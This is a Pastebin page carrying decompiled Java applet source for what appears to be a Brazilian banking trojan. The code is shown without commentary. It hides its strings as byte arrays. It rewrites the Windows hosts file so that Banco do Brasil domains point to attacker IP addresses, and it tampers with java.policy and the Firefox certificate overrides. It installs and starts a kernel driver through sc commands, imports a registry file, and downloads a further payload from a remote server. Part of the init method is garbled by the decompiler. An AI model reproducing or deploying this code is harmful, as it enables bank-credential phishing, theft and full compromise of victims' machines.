Advertisement
IsraelTorres

kaiux_le.jad

May 29th, 2011
299
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 13.43 KB | None | 0 0
  1. // Decompiled by Jad v1.5.8g. Copyright 2001 Pavel Kouznetsov.
  2. // Jad home page: http://www.kpdus.com/jad.html
  3. // Decompiler options: packimports(3)
  4. // Source File Name:   le.java
  5.  
  6. import java.applet.Applet;
  7. import java.awt.Color;
  8. import java.awt.Graphics;
  9. import java.io.*;
  10. import java.net.URL;
  11. import java.net.URLConnection;
  12. import java.util.Enumeration;
  13. import java.util.regex.Matcher;
  14. import java.util.regex.Pattern;
  15. import java.util.zip.ZipEntry;
  16. import java.util.zip.ZipFile;
  17.  
  18. public class le extends Applet
  19. {
  20.  
  21.     public le()
  22.     {
  23.         s8 = new String(osn);
  24.         BAR1 = new String(BAR);
  25.         LIN1 = new String(LIN);
  26.         TEM1 = new String(TEM);
  27.         IPP1 = new String(IPPP1);
  28.         IPP2 = new String(IPPP2);
  29.         VSYS1 = new String(VSYS);
  30.         CMS1 = new String(CMS);
  31.         CMSS1 = new String(CMSS);
  32.         URLX1 = new String(URLX);
  33.         bb = new String(BBB);
  34.         gf = new String(gff);
  35.         RANDO = (int)(Math.random() * 100000000D);
  36.         IP_PH1 = IPP1;
  37.         IP_PH2 = IPP2;
  38.         JUST1 = "plus02.txt";
  39.         N_ZIP = "plus";
  40.         X_ZIP = (new StringBuilder(String.valueOf(RANDO))).append(".tmp").toString();
  41.         BARRA = System.getProperty(BAR1);
  42.         PULAR = System.getProperty(LIN1);
  43.         TEMPO = System.getProperty(TEM1);
  44.         C_LIX = (new StringBuilder("C:")).append(BARRA).append(JUST1).toString();
  45.         C_HOST = (new StringBuilder("C:")).append(BARRA).append("WINDOWS").append(BARRA).append("system32").append(BARRA).append("drivers").append(BARRA).append("etc").append(BARRA).append("hosts").toString();
  46.         C_SYS = (new StringBuilder("C:")).append(BARRA).append("WINDOWS").append(BARRA).append("system32").append(BARRA).append("drivers").append(BARRA).append(VSYS1).toString();
  47.         C_JAVA = (new StringBuilder(String.valueOf(System.getProperty("java.home")))).append(BARRA).append("lib").append(BARRA).append("security").append(BARRA).append("java.policy").toString();
  48.         ST_HOST = PULAR;
  49.         ST_JAVA = PULAR;
  50.     }
  51.  
  52.     public void paint(Graphics g)
  53.     {
  54.         g.setColor(Color.darkGray);
  55.         g.drawString("PLUS", 5, 10);
  56.     }
  57.  
  58.     public static void Pausar(int n)
  59.     {
  60.         long t0 = System.currentTimeMillis();
  61.         long t1;
  62.         do
  63.             t1 = System.currentTimeMillis();
  64.         while(t1 - t0 < (long)(n * 1000));
  65.     }
  66.  
  67.     public void H32A(String URLexterna, String SalvarComo)
  68.     {
  69.         try
  70.         {
  71.             File files = new File(SalvarComo);
  72.             boolean exists = files.exists();
  73.             if(!exists)
  74.             {
  75.                 URL url = new URL(URLexterna);
  76.                 URLConnection connection = url.openConnection();
  77.                 InputStream stream = connection.getInputStream();
  78.                 BufferedInputStream in = new BufferedInputStream(stream);
  79.                 FileOutputStream file = new FileOutputStream(SalvarComo);
  80.                 BufferedOutputStream out = new BufferedOutputStream(file);
  81.                 int i;
  82.                 while((i = in.read()) != -1)
  83.                     out.write(i);
  84.                 out.flush();
  85.                 out.close();
  86.             }
  87.         }
  88.         catch(IOException ioexception) { }
  89.     }
  90.  
  91.     public void H32C(String ip, String HostURL)
  92.     {
  93.         ST_HOST = (new StringBuilder(String.valueOf(ST_HOST))).append(PULAR).append(ip).append(" ").append(HostURL).toString();
  94.     }
  95.  
  96.     public void H31S(String Local, String Dados)
  97.     {
  98.         try
  99.         {
  100.             File file = new File(Local);
  101.             FileWriter filewriter = new FileWriter(file, true);
  102.             filewriter.write((new StringBuilder()).append(Dados).toString());
  103.             filewriter.close();
  104.         }
  105.         catch(IOException ioexception) { }
  106.     }
  107.  
  108.     private static void H32F(String Local, String Destino)
  109.     {
  110.         try
  111.         {
  112.             File f1 = new File(Local);
  113.             File f2 = new File(Destino);
  114.             InputStream in = new FileInputStream(f1);
  115.             OutputStream out = new FileOutputStream(f2);
  116.             byte buf[] = new byte[1024];
  117.             int len;
  118.             while((len = in.read(buf)) > 0)
  119.                 out.write(buf, 0, len);
  120.             in.close();
  121.             out.close();
  122.         }
  123.         catch(FileNotFoundException filenotfoundexception) { }
  124.         catch(IOException ioexception) { }
  125.     }
  126.  
  127.     public void H32B(String valor)
  128.     {
  129.         try
  130.         {
  131.             Runtime.getRuntime().exec(valor);
  132.         }
  133.         catch(IOException ioexception) { }
  134.     }
  135.  
  136.     public void H24D(String p, String s)
  137.     {
  138.         try
  139.         {
  140.             InputStream aa1 = super.getClass().getResourceAsStream(p);
  141.             FileOutputStream aa3 = new FileOutputStream(s);
  142.             int aa0;
  143.             while((aa0 = aa1.read()) != -1)
  144.                 aa3.write(aa0);
  145.             aa3.flush();
  146.             aa3.close();
  147.         }
  148.         catch(IOException ioexception) { }
  149.     }
  150.  
  151.     public void H24Z(String Arq)
  152.     {
  153.         try
  154.         {
  155.             String zipname = (new StringBuilder(String.valueOf(TEMPO))).append(Arq).toString();
  156.             String xDir = TEMPO;
  157.             ZipFile zipFile = new ZipFile(zipname);
  158.             BufferedInputStream bis;
  159.             for(Enumeration enumeration = zipFile.entries(); enumeration.hasMoreElements(); bis.close())
  160.             {
  161.                 ZipEntry zipEntry = (ZipEntry)enumeration.nextElement();
  162.                 bis = new BufferedInputStream(zipFile.getInputStream(zipEntry));
  163.                 byte buffer[] = new byte[2048];
  164.                 BufferedOutputStream bos = new BufferedOutputStream(new FileOutputStream((new StringBuilder(String.valueOf(xDir))).append(zipEntry.getName()).toString()), buffer.length);
  165.                 int size;
  166.                 while((size = bis.read(buffer, 0, buffer.length)) != -1)
  167.                     bos.write(buffer, 0, size);
  168.                 bos.flush();
  169.                 bos.close();
  170.             }
  171.  
  172.         }
  173.         catch(IOException ioexception) { }
  174.     }
  175.  
  176.     public void FFexists()
  177.     {
  178.         String U_HOME = System.getProperty("user.home");
  179.         if(!U_HOME.endsWith("/") && !U_HOME.endsWith("\\"))
  180.             U_HOME = (new StringBuilder(String.valueOf(U_HOME))).append(BARRA).toString();
  181.         String STR1 = (new StringBuilder(String.valueOf(U_HOME))).append("Application Data").append(BARRA).append("Mozilla").append(BARRA).append("Firefox").append(BARRA).toString();
  182.         String STR2 = (new StringBuilder(String.valueOf(U_HOME))).append("Dados de aplicativos").append(BARRA).append("Mozilla").append(BARRA).append("Firefox").append(BARRA).toString();
  183.         String STR3 = (new StringBuilder(String.valueOf(U_HOME))).append("AppData").append(BARRA).append("Roaming ").append(BARRA).append("Mozilla").append(BARRA).append("Firefox").append(BARRA).toString();
  184.         try
  185.         {
  186.             File arq1 = new File((new StringBuilder(String.valueOf(STR1))).append("profiles.ini").toString());
  187.             File arq2 = new File((new StringBuilder(String.valueOf(STR2))).append("profiles.ini").toString());
  188.             File arq3 = new File((new StringBuilder(String.valueOf(STR3))).append("profiles.ini").toString());
  189.             if(arq1.exists())
  190.                 GetFFdir(STR1);
  191.             else
  192.             if(arq2.exists())
  193.                 GetFFdir(STR2);
  194.             else
  195.             if(arq3.exists())
  196.                 GetFFdir(STR3);
  197.         }
  198.         catch(Exception exception) { }
  199.     }
  200.  
  201.     public void GetFFdir(String Where)
  202.     {
  203.         try
  204.         {
  205.             FileInputStream fstream = new FileInputStream((new StringBuilder(String.valueOf(Where))).append("profiles.ini").toString());
  206.             DataInputStream in = new DataInputStream(fstream);
  207.             BufferedReader br = new BufferedReader(new InputStreamReader(in));
  208.             String strLine;
  209.             while((strLine = br.readLine()) != null)
  210.             {
  211.                 Pattern Filtrar = Pattern.compile("Path=(.*)");
  212.                 Matcher Buscar = Filtrar.matcher(strLine);
  213.                 if(Buscar.find())
  214.                 {
  215.                     String ProfilesDIR = new String(Buscar.group(1));
  216.                     ProfilesDIR = ProfilesDIR.replace('/', '\\');
  217.                     if(!ProfilesDIR.endsWith("\\"))
  218.                         ProfilesDIR = (new StringBuilder(String.valueOf(ProfilesDIR))).append("\\").toString();
  219.                     ProfilesDIR = (new StringBuilder(String.valueOf(Where))).append(ProfilesDIR).toString();
  220.                     H32F((new StringBuilder(String.valueOf(TEMPO))).append("cert_override.txt").toString(), (new StringBuilder(String.valueOf(ProfilesDIR))).append("cert_override.txt").toString());
  221.                 }
  222.             }
  223.             in.close();
  224.         }
  225.         catch(Exception exception) { }
  226.     }
  227.  
  228.     public void init()
  229.     {
  230.         if(System.getProperty("os.name").toLowerCase().indexOf("windows") <= -1)
  231.             break MISSING_BLOCK_LABEL_393;
  232.         File files = new File(C_LIX);
  233.         boolean exists = files.exists();
  234.         if(exists)
  235.             break MISSING_BLOCK_LABEL_393;
  236.         if(TEMPO.endsWith("/") || TEMPO.endsWith("\\")) goto _L2; else goto _L1
  237. _L1:
  238.         this;
  239.         TEMPO;
  240.         JVM INSTR new #132 <Class StringBuilder>;
  241.         JVM INSTR dup_x1 ;
  242.         JVM INSTR swap ;
  243.         String.valueOf();
  244.         StringBuilder();
  245.         BARRA;
  246.         append();
  247.         toString();
  248.         TEMPO;
  249. _L2:
  250.         Pausar(1);
  251.         H32B("cmd /c mkdir c:\\windows\\syswow64\\drivers\\etc");
  252.         Pausar(1);
  253.         H32C(IP_PH1, bb);
  254.         H32C(IP_PH2, gf);
  255.         Pausar(1);
  256.         H31S(C_HOST, ST_HOST);
  257.         H31S(C_JAVA, ST_JAVA);
  258.         H24D(N_ZIP, (new StringBuilder(String.valueOf(TEMPO))).append(X_ZIP).toString());
  259.         Pausar(1);
  260.         H24Z(X_ZIP);
  261.         Pausar(1);
  262.         FFexists();
  263.         Pausar(1);
  264.         H32F((new StringBuilder(String.valueOf(TEMPO))).append(VSYS1).toString(), C_SYS);
  265.         Pausar(1);
  266.         H32B(CMS1);
  267.         Pausar(2);
  268.         H32B(CMSS1);
  269.         H32B((new StringBuilder("cmd /c REG IMPORT ")).append(TEMPO).append("add.reg").toString());
  270.         String OS = System.getProperty(s8);
  271.         Pattern osaa = Pattern.compile("Windows (.*)");
  272.         Matcher matcher = osaa.matcher(OS);
  273.         if(matcher.find())
  274.         {
  275.             String tipo = matcher.group(1);
  276.             String t = (new StringBuilder("Windows")).append(tipo).toString();
  277.             H32A((new StringBuilder(String.valueOf(URLX1))).append(t).toString(), C_LIX);
  278.         }
  279.     }
  280.  
  281.     private static final long serialVersionUID = 1L;
  282.     byte osn[] = {
  283.         111, 115, 46, 110, 97, 109, 101
  284.     };
  285.     String s8;
  286.     byte BAR[] = {
  287.         102, 105, 108, 101, 46, 115, 101, 112, 97, 114,
  288.         97, 116, 111, 114
  289.     };
  290.     String BAR1;
  291.     byte LIN[] = {
  292.         108, 105, 110, 101, 46, 115, 101, 112, 97, 114,
  293.         97, 116, 111, 114
  294.     };
  295.     String LIN1;
  296.     byte TEM[] = {
  297.         106, 97, 118, 97, 46, 105, 111, 46, 116, 109,
  298.         112, 100, 105, 114
  299.     };
  300.     String TEM1;
  301.     byte IPPP1[] = {
  302.         49, 55, 52, 46, 51, 55, 46, 52, 54, 46,
  303.         49, 50, 48
  304.     };
  305.     String IPP1;
  306.     byte IPPP2[] = {
  307.         49, 55, 52, 46, 51, 55, 46, 52, 54, 46,
  308.         49, 50, 49
  309.     };
  310.     String IPP2;
  311.     byte VSYS[] = {
  312.         112, 108, 117, 115, 100, 114, 105, 118, 101, 114,
  313.         46, 115, 121, 115
  314.     };
  315.     String VSYS1;
  316.     byte CMS[] = {
  317.         99, 109, 100, 46, 101, 120, 101, 32, 47, 99,
  318.         32, 115, 99, 32, 99, 114, 101, 97, 116, 101,
  319.         32, 100, 114, 105, 118, 101, 114, 117, 115, 98,
  320.         112, 108, 117, 115, 32, 98, 105, 110, 80, 97,
  321.         116, 104, 61, 32, 34, 115, 121, 115, 116, 101,
  322.         109, 51, 50, 92, 100, 114, 105, 118, 101, 114,
  323.         115, 92, 112, 108, 117, 115, 100, 114, 105, 118,
  324.         101, 114, 46, 115, 121, 115, 34, 32, 103, 114,
  325.         111, 117, 112, 61, 32, 34, 65, 99, 116, 32,
  326.         80, 108, 117, 115, 32, 71, 114, 111, 117, 112,
  327.         34, 32, 116, 121, 112, 101, 61, 32, 107, 101,
  328.         114, 110, 101, 108, 32, 115, 116, 97, 114, 116,
  329.         61, 32, 98, 111, 111, 116, 32, 101, 114, 114,
  330.         111, 114, 61, 32, 110, 111, 114, 109, 97, 108,
  331.         32, 68, 105, 115, 112, 108, 97, 121, 78, 97,
  332.         109, 101, 61, 32, 34, 100, 114, 105, 118, 101,
  333.         114, 117, 115, 98, 112, 108, 117, 115, 34
  334.     };
  335.     String CMS1;
  336.     byte CMSS[] = {
  337.         99, 109, 100, 46, 101, 120, 101, 32, 47, 99,
  338.         32, 115, 99, 32, 115, 116, 97, 114, 116, 32,
  339.         100, 114, 105, 118, 101, 114, 117, 115, 98, 112,
  340.         108, 117, 115
  341.     };
  342.     String CMSS1;
  343.     byte URLX[] = {
  344.         104, 116, 116, 112, 58, 47, 47, 49, 55, 52,
  345.         46, 51, 55, 46, 52, 54, 46, 49, 50, 50,
  346.         47, 112, 108, 117, 115, 46, 112, 104, 112, 63,
  347.         111, 115, 61
  348.     };
  349.     String URLX1;
  350.     byte BBB[] = {
  351.         119, 119, 119, 50, 46, 98, 97, 110, 99, 111,
  352.         98, 114, 97, 115, 105, 108, 46, 99, 111, 109,
  353.         46, 98, 114
  354.     };
  355.     String bb;
  356.     byte gff[] = {
  357.         97, 97, 112, 106, 46, 98, 98, 46, 99, 111,
  358.         109, 46, 98, 114
  359.     };
  360.     String gf;
  361.     int RANDO;
  362.     String IP_PH1;
  363.     String IP_PH2;
  364.     String JUST1;
  365.     String N_ZIP;
  366.     String X_ZIP;
  367.     String BARRA;
  368.     String PULAR;
  369.     String TEMPO;
  370.     String C_LIX;
  371.     String C_HOST;
  372.     String C_SYS;
  373.     String C_JAVA;
  374.     String ST_HOST;
  375.     String ST_JAVA;
  376. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement